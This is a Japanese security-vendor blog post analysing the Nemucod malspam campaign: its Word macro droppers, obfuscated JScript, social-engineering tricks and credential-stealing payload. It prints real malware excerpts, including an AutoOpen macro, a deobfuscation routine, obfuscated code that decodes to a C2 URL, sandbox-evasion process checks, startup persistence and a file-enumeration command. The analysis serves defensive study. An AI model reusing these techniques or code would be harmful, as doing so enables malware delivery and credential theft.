This post is also available in: English (英語)
概要
先日公表したホワイトペーパー『Unit 42 white paper Credential-Based Attacks』(リンク先英語)では、攻撃者にとっていかに認証情報が重要であるか説明しています。このほか、重要な認証情報を窃取するため、Nemucode キャンペーンのような認証情報窃取用トロイの木馬を含めたさまざまなマルスパム フィッシング テクニックが、どのように駆使されるかについても紹介しています。さらに、盗んだ認証情報を使ってどのようにして攻撃者が正当なユーザーを装うかについても説明しています。
調査チームが過去 5 ヶ月、Nemucod マルウェアの攻撃キャンペーンを追跡したところ、Nemucod マルウェアの攻撃数最多を記録したのはヨーロッパで、米国、日本がその後に続き、対象となった組織の種別も複数にまたがっていました (図 1、2参照) 。
図 1 が示すとおり、単独で最多の影響を受けたのはスペインで、主な要因としては図 2 に示されている士業関連の中で、特に法務分野が攻撃されたことが挙げられます。また、同じ要因でベルギーの攻撃総数も押し上げられています。電力が士業関連に続き、そのほぼすべての攻撃がフランスを対象としたものでした。医療系については、スペインへの攻撃が多くを占めています。また図 3 に示す産業分野別影響のワースト 10 の最後に挙げられているエネルギー系は主に英国での活動によるものでした。証券分野と投資分野はほとんどが米国、英国、ノルウェーのトラフィックによるものです。日本でみられた悪意のあるトラフィックはハイテク産業への攻撃によるものでした。
図 4 が示すとおり、マルウェアの大部分は電子メール (SMTP、POP3、および IMAP アプリケーション) 経由で着信し、そのほとんどがポーランドを送信元としていました。そうでない場合も、ポーランド語のドメイン名のついたメールアドレスを送信元として利用していました。受信者の電子メールアドレスはさまざまですが、名前や LinkedIn のアカウント詳細から見てその多くが有効なメールアドレスであったようです。このほかの一部のセッションについては webブラウザアプリケーション経由で着信しており、これらはモルドバの IP アドレス範囲として帰着される web サイトからダウンロードされていました。この詳細については後述します。
本稿では以下、その当時からの本マルウェアの進化について見ていきながら、次の内容についても解説します。
- 兵器化された文書の進化
- 攻撃者が利用していると推測されるインフラを含むワークフローやセットアップについての考察
- 使われた難読化テクニックとソーシャル エンジニアリング テクニック
- 認証情報窃取のペイロード
技術的分析
ドロッパーの進化
2017 年 1 月期の短期間、攻撃者がエンコード済 JScript のコンテンツを Delphi でコンパイルしたドロッパー実行形式ファイルとして配布したことがありました。ただしこれ以外のほぼすべての期間については、Visual Basic for Applications (VBA) で Nemucod のインストールコードを書き、これを Microsoft Office マクロとして埋め込むことで兵器化した文書の使用のみが観測されていました。とくに近年のマルウェアを含む文書数について考えると、攻撃者がなぜ短期間だけ兵器化した文書ファイルから実行ファイルにシフトして、また方針を戻したかについては不明です。自身の攻撃技能や被害者の対応力をテストしたかったのかもしれません。
2016年10月から2017年3月にわたり、Unit 42 チームは合計で 50 バージョン以上のこうした兵器化された文書を発見しています。これらの文書をもとにしたタイムラインは下記の通りです。本ブログのこれ以降の各セクションでは、このタイムラインを参照しつつ、進化の途上で本マルウェアに加えられた変更とその理由を考察していきます。
注意: この図は確認済みのすべてのバージョンを網羅していません。大きな変化とみなすべき出来事だけを示しています。ただし図は 2016 年 10 月 23 日に作成され、最終更新日は同 25 日となっており、同 26 日に弊社のクラウド脅威分析WildFireによって最初に発見されたバージョンから記載しています。
全バージョンの兵器化された文書のドロッパーに共通しているのは、VBA コードにパスワードによる保護が設定されていることです(以下図 6 参
照)。攻撃者はパスワード保護によってリサーチャーによる分析を回避しようと試みたようです。リサーチャーに正当な文書であると印象づける意図もあったかもしれません。または、セキュリティ製品がパスワード保護の有無をチェックして正当な文書かどうかを判断する可能性を見込んだのかもしれません。
このほか全バージョンに共通しているのが、高度に難読化された JScript ペイロードです。図 7はその一部 です。難読化においては、見たところランダムに生成したと思われる変数名や Unicode による文字エンコード (例 \u00xx。xx は ASCII 文字コード表現) が多用されています。さらに、分割した文字列をつなぎ合わせたり、文字列から文字を拾い出したりするために、必要性のない計算を加えています。こうした難読化は主にシグネチャをもとにした検出技術を回避するために利用されますが、WildFire のようなサンドボックス型システムによる動的分析に対しては、ほぼ全く効果がありません。ただし手動で分析をする場合、こうした難読化によって手間と解析にかかる時間を増やす要因にはなります。
1 |
esesop_famous4='symbol';esesop_However7='breaking';esesop_pillar7='Paolo';esesop_pretends='Leading';esesop_comfortable='quattrocento1';esesop_PABLO='artistic10';esesop_Raphael7='Durer5';esesop_Picasso='demonstrates';esesop_clearly5='between';esesop_TURNER5='being3';esesop_famous8='renewal';esesop_often1='expressionism';esesop_Abstract7='MARCEL8';esesop_above='loose7';esesop_many1='years';esesop_courtesan='modernism10';esesop_with='FRIDA';esesop_JACKSON='romanticism';esesop_Sistine='Quattrocento';var esesop_considered=this[[''+String[{p0:'\u0066'}.p0+{p0:'\u0072'}.p0+{p1:'\u006f'}.p1+{p_t1:'\u006d'}.p_t1+{p_s0:'\u0043'}.p_s0+{p_1:'\u0068'}.p_1+{p_l0:'\u0061'}.p_l0+{p0:'\u0072'}.p0+{p3:'\u0043'}.p3+{p_1:'\u006f'}.p_1+{p_f2:'\u0064'}.p_f2+{p_h2:'\u0065'}.p_h2](Math[{p_3:'\u006d'}.p_3+{p_M2:'\u0061'}.p_M2+{p3:'\u0078'}.p3](87,[]))+'', |
図 7: 難読化された JScript コード
図 5 のタイムラインで4 番目の項目に示した、10 月終わりにかけて登場した初期バージョンの1つでは、余分な ASCII 文字の暗号難読化レイヤ (サンプルを図 8 に記載) を追加し、同時に当該難読化レイヤの解読用 VBA コードも追加しています (図 9)。この暗号難読化レイヤから、攻撃者がなんとか検出を免れようとしている様子が分かります。
1 |
6D6D@A072>@FDclVDJ>3@=Vj6D6D@A0w@H6G6CflV3C62<:?8Vj6D6D@A0A:==2CflV!2@=@Vj6D6D@A0AC6E6?5DlV{625:?8Vj6D6D@A04@>7@CE23=6lVBF2EEC@46?E@`Vj6D6D@A0!pq{~lV2CE:DE:4`_Vj6D6D@A0#2A926=flVsFC6CdVj6D6D@A0!:42DD@lV56>@?DEC2E6DVj6D6D@A04=62C=JdlV36EH66?Vj6D6D@A0%" |
図 8: 追加された難読化 JScript コードのレイヤ
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
Function Ghost(str) Dim i, j, k, r j = Len(str) r = "" For i = 1 To j k = Asc(Mid(str, i, 1)) If k >= 33 And k <= 126 Then r = r & Chr(33 + ((k + 14) Mod 94)) Else r = r & Chr(k) End If Next Ghost = r End Function |
図9: Jscript 難読化用に追加されたレイヤのために VBA で書かれた難読化解読コード
攻撃者が JScript コードの難読化テクニックを磨くのにはしばらく時間がかかったようですが、同年 12 月の半ば頃にはカスタムメイドの ASCII 暗号に替えて Microsoft Script Encoding を利用したバージョンが出回りはじめます。単純化を目的としたのかもしれませんし、修正の難しい不具合があったのかもしれません。
このようなエンコードが加えられたコンテンツの多くが .JSE の拡張子のついたファイルに格納されていますが、攻撃者はファイル先頭にマジックナンバー「#@~^」が存在するかどうかも慎重にチェックしています。以下はその様子を示しています。
1 2 3 |
$ hexdump -C wx64.jse | head 00000000 23 40 7e 5e 4c 58 51 42 41 41 3d 3d 64 5e 57 4f |#@~^LXQBAA==d^WO| 00000010 7f 5c 7f 44 43 6d 5c 7f 2b 2a 7b 20 31 26 70 2f |.\.DCm\.+*{ 1&p/| |
図 10: Microsoft 社の Script Encoding を使い、さらに JScript コードを難読化
人は見かけによらぬもの、文書は拡張子によらぬもの
兵器化された文書からメタデータその他の情報を抽出すると、調査上役に立つ考察を得られる場合があります。もちろんこうしたデータはほとんどが偽装されたものだという可能性もあります (実際 ほかのリサーチャーがそうした例を示したこともあります[リンク先英語])し、単純に無意味なものである可能性もあります。ただしこの事例では非常に多くの興味深い変数データや情報が見つかり、そこから相応に確度の高い結論を引き出すことができます。
以下の図表を眺めると、この脅威の背後にいるグループが攻撃キャンペーンに使用したマルウェアをどのように進化させてきたかというパターンが浮かび上がってきます。このパターンは、ソフトウェア開発をチームでおこなう際のパターンに非常によく似ています。つまり、チームで新規プロジェクトに着手し、あるバージョンはメジャーバージョン、またあるバージョンはマイナーバージョンとして時間をかけてコードを修正する場合のパターンにそっくりなのです。
図 11 に各兵器化文書の変更回数をグラフで表示しています。また同じ図表内に、各文書の本文に含まれる単語数も重ねて表示しています。ここからあるパターンが見えてきます。
兵器化された文書の初期バージョン、つまり10 月下旬頃の文書プロパティを確認すると、変更回数が非常に多く、最も多い場合で 192回変更していることが分かります。これはその後に続くすべてのバージョンと比べても突出しています。攻撃者が作成した最初のバージョンが実際にこの 10 月下旬の初期バージョンであり、その後何度も変更し、努力を重ねたと考えれば、この編集回数の変化をうまく説明することができます。つまり、これもまたソフトウェア開発者が最初に開発したバージョンによく似ているのです。
また、ほとんどのバージョンで、たとえばプロジェクト名や説明部分に、デフォルトの VBA プロジェクトのプロパティ情報だけを使用するようにしているようですが、初期バージョンを解析すると、そうした制限をしていなかった様子が見て取れます。以下の図 12 はカスタムで設定されたプロジェクト説明です。
このセリフに見覚えがない人は、下の図 13 をみるとその文脈が理解できるかもしれません。
最初のバージョンでプロジェクトの説明に使われているこの引用は、米国の犯罪ドラマ テレビ シリーズ『ブレイキング・バッド』シーズン1 エピソード7 からそのままコピーされたものです。
警告: 以下の内容はドラマのネタバレを含みます。
この文言への引用をマルウェアに含めたのはこの攻撃者にとっては適切な行為だったのだろうと考えられます。というのも、本テレビシリーズで、ある登場人物が家族を支えるためにやむなく犯罪者に身を落とすことになるように、このマルウェア キャンペーンの背後にいる人物またはグループもまた、人生のある時点で良識ある市民からサイバー犯罪者に転身したに違いないからです。
これ以外のバージョンについても、先に述べた初期バージョンの 192回の変更回数と同様、マルウェアの進化途上で重要な更新や機能のリリースが行われるタイミングで回数が平均を上回る様子が見られます。これもまた、ソフトウェアのメジャーバージョンのリリースによく似ています。詳細については後述しますが、「なぜ、それまでゼロだった単語数が 11 月 30 日に突然 6000 単語以上に跳ね上がり、その後ずっと増加しつづけ、最終的に最新バージョンでは元の 3 倍以上の単語数を含むようになるものが出てきたのか」という点の重要性については言及しなければなりません。この期間にリリースされた各文書の単語数は増加していますが、難読化の技術向上はかなり停滞していました。ここから、この期間中により多くの機能が追加され、コーディング量が増えていたのだろうと推測できます。
こうした兵器化文書の単語数と変更に伴う編集にかけた時間を比較すると、前述の進化パターンがさらに見えてきます。図 14 はいくつかの興味深い点を示しています。
まず、初期バージョンの編集にはもっとも時間が掛かっています (2日間にまたがっている)。次にもっとも編集に時間がかかったのは 11 月 30 日です。このタイミングは前述した単語数の急増 (ゼロから 6000 単語以上) と合致しています。
11 月 30 日は、間違いなく攻撃者の利用する技術に重要な変更があった日でした。その後の調査により、これら 2 つの日付の間で攻撃者は VBA コード内にスタティックに格納していたエンコード済み JScript コードをWord文書自体に移動する変更を行っていたことがわかりました。
どのぐらいの VBA だと多すぎる?
これまで見てきた11 月 30 日以前のすべてのバージョンでは、被害者が文書を開くと自動的にコードが実行されるよう、Word の AutoOpen マクロの VBA コード内に JScript を格納していました。ただしこの JScript は、難読化はされているもののエンコードはされていませんでした。図 15 はこのコードを一部抽出したものですが、数百行分以上のコードを省略しています。太字でハイライトした部分が難読化した JScript のコードの塊を配列オブジェクトに格納しているコードです。この後この配列オブジェクトからコードが 1 行ずつ取り出されて処理され、再構成された後ディスクに単一 .JSE ファイルとして書き出されます。書き出された .JSE ファイルは Microsoft Windows Script Host 実行ファイル (wscript.exe) によって実行されます。VBA コードは高度に複雑化され、数々の関数名やオブジェクト名が不必要に分割されたりつなぎ合わされたりして実行時に文法上は正しくなるように工夫されていました。これもまた技術者による手動分析を妨げることを目的としたものでしょう。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
Sub AutoOpen() '========================================================================== Dim objSysInfo: Set objSysInfo = CreateObject("WinNTSystemInfo") Dim objFSO: Set objFSO = CreateObject("Scripting.FileSystemObject") Dim objShell: Set objShell = CreateObject("Shell.Application") Dim objDic: Set objDic = CreateObject("Scripting.Dictionary") Dim objPO: Set objPO = CreateObject("Scripting.Dictionary") Dim wsh: Set wsh = VBA.CreateObject("WScript.Shell") '========================================================================== Dim filepath As String: filepath = Empty Dim tempcode12 As String: tempcode12 = Empty Dim hash12 As String: hash12 = Empty Dim strComputerName As String: strComputerName = Empty Dim objFile, empty12, filets, ver, out1, proc Dim hash#, upper&, i& Dim now, mimi As Long Const max# = 2 ^ 31 With objDic .Add "g1", "angul_tryingI=0.669;angul_something=0.105;angul_never6=0.879;angul_shes=913;angul_aware8=0.663;angul_said=846;angul_cold=739;angul_life7=0.927;angul_dare3=370;angul_sees=0.96;angul_whole8=0.31;angul_yourself=707;angul_goneShe=0.21;var angul_stayEven1" .Add "g2", "={_lo3:'\u0045'}._lo3+{_m1:'\u006e'}._m1+{_d2:'\u0074'}._d2+{_1:'\u0065'}._1+{_th3:'\u0072'}._th3+{_ah1:'\u0020'}._ah1+{_re1:'\u0074'}._re1+{_d0:'\u0068'}._d0+{_0:'\u0065'}._0+{_K3:'\u0020'}._K3+{_wi1:'\u0074'}._wi1+{_n1:'\u0065'}._n1+{_w1:'\u0078'}." .Add "g3", "_w1+{_re0:'\u0074'}._re0+{_sh3:'\u0020'}._sh3+{_0:'\u0074'}._0+{_t3:'\u006f'}._t3+{_y2:'\u0020'}._y2+{_1:'\u0065'}._1+{_pr0:'\u006e'}._pr0+{_w1:'\u0063'}._w1+{_j2:'\u006f'}._j2+{_h0:'\u0064'}._h0+{_fa1:'\u0065'}._fa1+{_3:'\u0020'}._3+{_j0:'\u0074'}._" … |
図 15: 難読化された JScript コードが VBA コードに格納されている
11 月 30 日以降は図 16 が示すようにこの VBA コードが 10 行以下のコードに置き換えられました。このコードは単純に Word 文書のテキストコンテンツを読み出して .JSE ファイルに書き込んでいます。この小さな VBA コードの難読化は時間の経過とともに若干変化しました。複雑に入り組んだ文法を使い、分割しておいた文字列を実行時に再結合してファイル名として使うなどの方法を採用することで、文字列やシグネチャにもとづいた検出を難しくしています。
図 16 のコードからもわかるとおり、.JSE ファイルはディスク上の文書の存在するフォルダと同じフォルダ内に文書と同じ名前で、拡張子だけ .JSE に変更して書き出されます。たとえばこの文書が foobar.doc というファイル名でデスクトップに置かれていれば、foobar.doc.jse というファイルがデスクトップに現れます。
VBA コードの ActiveDocument.Content.Text が Word 文書から難読化された JScript コンテンツを取得します。図 17 に表示したあるバージョンの事例では 24 ページもの長さがありますが、この図からもわかるとおり、文書は空白のように見えます。24 ページをすべて選択し、フォントの色を白以外にすると、図 18 に示すように悪意のあるコードが見えるようになります。
JSE コードを VBA 内から文書のテキストに移動するという変更を行った理由はいろいろ考えられますが、その理由の一つは攻撃者にとって簡便だっ
たからでしょう。つまり、カスタムメイドの暗号コードを難読化に使用するのをやめて Microsoft 社の Script Encoder に切り替えることで管理対象のコードを減らしたのと同様の理由です。このほか、ヒューリスティック(経験則によるテスト)を行って疑わしいファイルを検出するアンチウイルス スキャナやツールを回避するのが目的だったとも考えられます。というのは長さ 24 ページのコンテンツに小さな VBA コードがあるだけの文書は、長さが 1 ページしかないのに数百行の VBA コードを含む空白の文書に比べ、疑わしいと判断されにくいからです。
またこれはソーシャル エンジニアリングのテクニックのひとつとも考えられるでしょう。文書にはコンテンツがあるのに見えていないと信じさせることができれば、[コンテンツの有効化] ボタンを押してしまう被害者をそれだけ増やすことができるかもしれないからです。もちろん、このボタンをクリックしてすると、中身が見えるようになるかわりに VBA コードが実行されてしまいます。
継続は力なり
図 5 のタイムラインにそって 12 月まで見ていくと、12 月半ば頃にあるバージョンが登場します。このバージョンでは、Office アプリケーションの アクセス許可を利用して権限のない変更を防止しています。たとえば文書部分を読み取り専用に設定し、文書内のテキストのフォント色変更も禁止しています。ただし、こうした文書の許可設定は DLP (Data Loss Prevention) の機能には適用されないので、文書のテキスト コンテンツを選択して別のアプリケーションにコピー & ペーストすれば悪意のあるコードを取得することはできてしまいます。図 19 は、 12 月 18 日のバージョンから加わった許可設定の変更より前 (左) と後 (右) のバージョンにおける文書プロパティの差分を表しています。12 月 18 日以降にリリースされたバージョンは 20 以上ありますが、そのうち数ファイルについては、特に明らかな理由なく許可設定が追加されていません (例えば作成者が変わった、メジャーバージョンのコード リリースがあった、週の特定の日、など)。ただしこれら以外のファイルの許可設定の一貫性を考えるとこれは単純な人的ミスだったか、攻撃者がリリースのプロセスで許可設定の確認をしそこねたのかもしれません。
クリスマスから新年にかけての週は、多くの人がホリデーシーズンの浮かれ騒ぎで仕事のペースも全世界的に滞りがちなので、攻撃者から見れば酔っ払って人事不省に陥った被害者をフィッシング メールで騙すのにうってつけの時期であるといえます。12 月 28 日の水曜日には新しいバージョンが作成されており、このバージョンではマルウェアのソーシャル エンジニアリング機能が増強されています。
図 20 は、文書がより新しいバージョンの Word で作成されているため閲覧するには受信者が [コンテンツの有効化] ボタンをクリックする必要があるという偽のメッセージを表示している様子を示しています。ホリデーシーズンは脇においても、攻撃者はこうした戦略によって被害者層の拡大を図っていたようです。
2017年初頭以降は VBA の GUI フォームの要素を含むバージョンも確認されました (図 21 参照)。現時点ではこのフォーム、要素、スケルトン コードは舞台裏に隠されていており、特に何もしません。おそらくこれもまたマクロ コードが無害なものであるように見せかけ、アンチウイルス製品による検出をかわそうとする正当性の演出の一環と推測するしかありません。というのは、被害者とインタラクティブにやりとりすることで無用な疑いを招くことは攻撃者も避けたいので、身代金の支払いを求める以外でマルウェアに GUI が使用されることはめったにないためです。本ダウンローダーにおいても、ペイロード部分にそうしたランサムウェアを利用していた痕跡は今のところ確認されていませんし、ダウンローダー内のフォームは、典型的なランサムウェアの GUI に似た部分がありません。
VBA フォームに GUI 要素を含む最初のバージョンのおよそ 1 週間後、別のバージョンが登場しました。このバージョンでは、薄い灰色で文書のテ
キストにエンコードされた JScript コードを表示しています(図 22 参照)。おそらくこれも、被害者に [コンテンツを有効にする] ボタンを押させるためのテクニックでしょう。つまり、[コンテンツを有効にする] をクリックすれば、灰色の文字がデフォルトの黒で表示されるようになるとか、文字化けのように見える内容が正常に戻ると思いこませることを狙っているのです。
図 5 の攻撃タイムラインも終わりに近づく 2017 年の 1 月の中頃にはまた新しいバージョンが登場します。新しいバージョンのものの中には VBA コードで Word のAutoClose マクロ関数を使い、以前のすべてのバージョンで使われていたAutoOpenを使わないものが現れました。この変更による技術的効果は明らかですが、被害者に疑いを抱かれにくくする、または疑いを抱かれるのを遅らせるというソーシャル エンジニアリングの観点から見た効果はさほど明確ではないかもしれません。
大抵、このような兵器化された文書を開いた場合や、[コンテンツの有効化] をクリックしてコンテンツを有効化した場合、CPU 使用率が跳ね上がる、身代金要求のメッセージが表示される、ネットワーク接続が行われるなど、その効果はただちに現れます。どんな災難が降りかかりつつあるのかははっきりわからなくとも、ハードディスクの出すノイズや CPU ファンの回る音によって何か異常が発生していると被害者が気づいてしまうことはよくあるのです。
しかし AutoClose を使う方法なら、文書を開いた時点や、[コンテンツを有効化する] ボタンをクリックした時点ではまだ安全であり、あからさまな感染の兆候もないので万事順調に思えます。ところが文書を閉じる、または Word アプリケーションを終了するタイミングで感染ルーチンが起動されるため、この時点では何も起こらなかったとホッとしているかもしれません。しかしそれも長くは続きません。
図 5 のタイムライン に記載されている中で説明が必要な部分としては、このほかに OS のバージョン、コード ページ、作成者が挙げられるでしょう。メタデータによれば 2 バージョンを除くすべての兵器化された文書 バージョンの進化途上で Windows 5.1 (Windows XP) OS 上の Word を使って作成されています。Windows 6.1 (Windows 7) がこの残りの 2 バージョンで使われています。ちなみにこの Windows 7 上で作成された 2 バージョンでは、新しい作成者も 2 人追加されています。
作成者名「Till3」は最初のバージョンからおよそ1ヶ月後に登場して 11 月 25 日に作成されたバージョンを作成、その後 3つのバージョンを作成
し、最後のバージョンは作成開始から 13 分ほど後に保存しています。このバージョンは、VBA コード内にスタティックに JSE コードを格納していた「オリジナル」タイプに分類される兵器化文書の最終バージョンのうちの 1 つです。
作成者「Nish」はそれから数バージョンほど後の 12 月 14 日ごろ登場しました。 この作成者はほとんど違うバージョンの作成に貢献していません。またWindows 7 ホスト上で文書の編集をしていた時間もごくわずかでした。
ほかの作成者は、Windows XP システムを使用していました。図 23 を参照すると、ほとんど (半数以上) のバージョンが名無しの作成者に
よって作成されていること、Victor という作成者がほとんど 4 分の 1 のリビジョンを作成していること、残りはあまり差異のない少数ずつ
「John」「Mike」「Martin」と前述の 2 名の作成者「Till3」と「Nish」が作成していました。
面白いのは、Victor という作成者が全バージョンの 4 分の 3 以上にわたり、最終的に保存される内容と、おそらくは編集についてもについてより大きな役割を果たしていることでしょう。おそらくこの Victor がこのグループ内でシニア的な立場にあるか、チーム リーダーのようなものにあたるという可能性がここから読み取れます。
これまでに収集された兵器化された文書のすべてのバージョンにはすべてコード ページ 1251が使われています。このコード ページはロシア語、ブルガリア語、セルビア語を始めとするキリル文字を使用する言語をカバーするよう設計されているものです。
図 24 が示すとおり、12 月は彼ら攻撃者にとってもっとも忙しい月でした。30 近いバージョン、つまりほぼ 1 日 1 バージョンをリリースしています。なぜ月ごとのリリースのペースが変化するのかについてはっきりしたことは分かりませんが、少なくともマルウェアの機能や配布のしくみを忙しく改変し続けていたがために以前よりリリースのペースが上がっていたとは考えられます。先に述べたとおり、また OilRig の攻撃者たちが自身のマルウェアができるかぎり検知されないこと、いちからツールを作り直さなくても複数の攻撃の実行ができることを目指して取り入れていた開発検証手法を説明しているこちらの最近のブログ(英語)にも述べたとおり、Nemucod キャンペーンにおける攻撃者たちも、機能追加する際の開発プロセスを極めて迅速化し、難読化そのほかの手法で検知率を最低限に抑え、ソーシャル エンジニアリングのテクニックを磨いてさらなる被害者を呼び込む、という努力を重ねていることがうかがい知れます。
JSE のペイロード
兵器化された文書のマクロ コードが実行されると、エンコードされ、高度に難読化された JScript コードがディスク上に保存され、新たに実行されます。観測されている最初の動作には、偽のエラーメッセージボックスを表示するものもありました。(例:図 25)
メッセージのテキストにはいくつか種類がありますが、いずれも一見正当なコンテンツが実行に失敗したことを匂わせる点は共通しています。これもまた、被害者に安心感を与えるための手段です。
次の図に示すように大部分のバージョンでは JSE ファイルを Windows のスタートアップ フォルダにコピーします。これにより、システムが再起動する度にコードが実行されることを担保します。
1 2 |
C:\Users\\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ |
JSE コードには数々の難読化ルーチンとテクニックが使用され、分析がしづらいように工夫されています。変数の宣言や文字列などで故意に ASCII 文字文字を同等の Unicode 文字に置き換えるのもその手法のひとつです。難読化解除の過程でこうした文字を ASCII に変換しなおすと、さらに分析を進めるための糸口となる内容が現れます。その一例が変数名「\u0075\u0072\u006c\u0031\u0032」です。これは ASCII 文字に変換すると「url12」になります。
あるバージョンではこの変数は次のコードで初期化されており、実行時には URL 文字列「https://185.159.82[.]11:3333/P/tipster.php?」にデコードされます。
1 |
{orl_8:'\u0068'}.orl_8+{hich_5:([][[]] + []).fixed().toLowerCase().substr(1,1)}.hich_5+{ud_6:([][[]] + []).fixed().toLowerCase().substr(1,1)}.ud_6+{ar_6:'\u0070'}.ar_6+{he_9:'\u0073'}.he_9+{ta_7:'\u003a'}.ta_7+{vr_4:'\u002f'}.vr_4+{hich_9:'\u002f'}.hich_9+{ith_5:'\u0031'}.ith_5+{hy_8:'\u0038'}.hy_8+{ur_7:'\u0035'}.ur_7+{etLi_8:([][[]] + []+{ine4_9:([][[]] + []+{on_5:([][[]] + []+'.').split([])[9]}.on_5).split([])[9]}.ine4_9).split([])[9]}.etLi_8+{ort_8:'\u0031'}.ort_8+{hat_5:'\u0035'}.hat_5+{orms_4:'\u0039'}.orms_4+{ut_5:([][[]] + []+{ine4_9:([][[]] + []+{on_5:([][[]] + []+'.').split([])[9]}.on_5).split([])[9]}.ine4_9).split([])[9]}.ut_5+{heeT_8:'\u0038'}.heeT_8+{es_5:'\u0032'}.es_5+{pea_4:([][[]] + []+{ine4_9:([][[]] + []+{on_5:([][[]] + []+'.').split([])[9]}.on_5).split([])[9]}.ine4_9).split([])[9]}.pea_4+{or_8:'\u0031'}.or_8+{ist_8:'\u0031'}.ist_8+{ut_9:'\u003a'}.ut_9+{pec_8:'\u0033'}.pec_8+{ive_6:'\u0033'}.ive_6+{emo_8:'\u0033'}.emo_8+{xpe_9:'\u0033'}.xpe_9+{ill_7:'\u002f'}.ill_7+{ich_9:'\u0050'}.ich_9+{owrf_8:'\u002f'}.owrf_8+{ave8_5:([][[]] + []).fixed().toLowerCase().substr(1,1)}.ave8_5+{ain_6:(!'8' || []+[] || 'i')}.ain_6+{ec_7:'\u0070'}.ec_7+{ason_4:'\u0073'}.ason_4+{ost_8:([][[]] + []).fixed().toLowerCase().substr(1,1)}.ost_8+{in_5:(!'x' || []+[] || 'e')}.in_5+{our7_6:([][[]] + []).link().toLowerCase().substr(4,1)}.our7_6+{hi_6:([][[]] + []+{ine4_9:([][[]] + []+{on_5:([][[]] + []+'.').split([])[9]}.on_5).split([])[9]}.ine4_9).split([])[9]}.hi_6+{art_5:'\u0070'}.art_5+{onou_4:'\u0068'}.onou_4+{eeps_4:'\u0070'}.eeps_4+{ark_7:'\u003f'}.ark_7+{mpri_9:'\u0061'}.mpri_9+{he_9:(!'s' || []+[] || 'd')}.he_9+{et_8:(!'s' || []+[] || 'd')}.et_8+{ath9_4:'\u003d'}.ath9_4;[ |
以下の例に示した追加パラメータは、後でこの URL に連結されて攻撃者のインフラへの接続する HTTP GET リクエストの構成に使用されます。HTTP GET リクエストで攻撃者のインフラに接続すると、新しい被害者として次に示す uid が一意な ID として割り振られて登録されます。また、どのバージョンのマルウェアに被害者のシステムが感染したのかといったクライアントに関する追加情報も併せて送信されます。これにより攻撃者は、被害者がどの特定バージョンのマルウェアを実行しているのかを把握することができます。通信コードにバージョン識別子を用いるというこのマルウェアの動作は、ここでもやはりソフトウェア開発者がフィールドで使用されているアプリケーションについてフィードバックやテレメトリを受けとりたがるという点によく似ています。
- add=3ef295d92702b904d009ba73e42a69c2
- uid=1442894259
- out=0
- ver=20
JSE コードはすべての実行中プロセスの一覧を作成し、次にあげるアプリケーションがこの一覧に含まれているかどうかをチェックし、含まれている場合は自身を終了します。明らかにこのマルウェアは分析を避けたがっている様子です。下記に「Johnson-PC」という項目がありますが、これは分析用のマシン名としてありがちな名前なので、そうしたよく知られたサンドボックス上でマルウェアが実行されるのを避ける意図があるのでしょう。
Procmon
Wireshark
Temp\iexplore.exe
ProcessHacker
vmtools
VBoxService
python
ImmunityDebugger
Johnson-PC
Proxifier.exe
このマルウェアは、次にコマンドシェルを密かに実行し、ファイル一覧とそれらファイルへのフルパスを取得し、取得したファイルの拡張子が以下の一覧に合致するかどうかを確認するコマンドを実行します。この一覧の結果はテキストファイルにリダイレクトされますが、最近のバージョンの少なくとも 1 つにおいてはこのファイル名に pollos.txt という名前が使われています。これもまた『ブレイキング・バッド』からの引用です。
1 2 3 4 5 6 7 8 9 10 |
cmd /U /Q /C cd /D DriveLetter: && dir /b/s/x >> %temp%\\pollos.txt : *.doc *.xls *.pub *.odt *.ods *.odp *.odm *.odc *.odb *.wps *.xlk *.ppt *.mdb *.accdb *.pst *.dwg *.dxf *.dxg *.wpd *.rtf *.wb2 *.mdf *.dbf *.psd *.pdd *.eps *.ai *.indd *.cdr *.dng *.3fr *.arw *.srf *.sr2 *.bay *.crw *.cr2 *.dcr *.kdc *.erf *.mef *.mrw *.nef *.nrw *.orf *.raf *.raw *.rwl *.rw2 *.r3d *.ptx *.pef *.srw *.x3f *.der *.txt *.pdf |
前述したリモート ホストの IP アドレスへの通信中、JSE は別の PE (Portable Executable) ファイルをダウンロードすることがあります。またそのペイロード部分はそれぞれに異なっている可能性があります。この特定バージョンの特定の回では、Base64 でエンコードされ UPX でパックされたPE ファイル (SHA256 値:76b703c9430abf4e0ba09e6d4e4d6cf94a251bb0e7f3fadbd169fcef954a8b39) をダウンロードし、さらにまた別の PE コンポーネント (SHA256 値:53edea186162d84803f8ff72fb83c85f427b3813c32bd9d9d899e74ae283368e) をメモリにインジェクトして、認証情報の収集とその流出 (次項で説明) という役割に当たらせていました。その目的や動機によって、このマルウェアを別のものに差し替わる可能性もあります。たとえば、ポーランドの CERT チームは年初にあるブログ(英語)を投稿し、そこで本マルウェアに関連するマルウェアが最終的にランサムウェアにつながると説明していますが、これまでの調査ではいまのところ、そうした動作はまだ確認されていません。
認証情報の収集
Nemucod によってインストールされるペイロード ファイルの 1 つをさらに分析した結果、このマルウェアがどの程度の認証情報窃取機能を持っているのかが明らかになりました。ペイロードには様々な OS とアプリケーションの認証ストアを列挙し、できるだけ多くの認証情報を収集しようとしています。
Protected Storage (Pstore)
実行されているシステムがたとえば Windows XP などの旧 OS だと判断すると、本マルウェアは pstorec.dll ライブラリをロードして旧 Windows データストアである Pstore にアクセスしようとします。これが成功すれば、ポインタを Pstore に移動できるよう PStoreCreateInstance 関数が呼び出されます。これにより、次の図 26 に示すように、格納されているすべての認証情報を一覧・取得できる関数群が呼び出せるようになります。
認証情報のキャッシュ
本マルウェアは次に認証情報のキャッシュをチェックします。認証情報のキャッシュはより新しいバージョンの Windows で使用されているもので、Windows Internet Explorer 内のすべてのビルトインアプリケーションに対して自動的に認証情報の格納や使用ができるようにしています。 HTTP のベーシック認証パスワードを利用する認証情報のほか、ネットワークのログインパスワードもここに格納することができます。次の図 27
に示すように、本マルウェアは「Microsoft_WinInet_*」で始まるパスワードのみを検索するようフィルタリングすることで Internet Explorer に格納されている後者の認証情報だけをとくに検索しています。
図 27 には 128 ビット値の GUID (Globally Unique Identifier) である「abe2869f-9b47-4cd9-a358-c22904dba7f7」が表示されています。本マルウェアは格納された認証情報の取得後の暗号化・復号化にこの GUID と Windows に組み込みの Cryptography 機能を併せて使っています。
Windows Vault
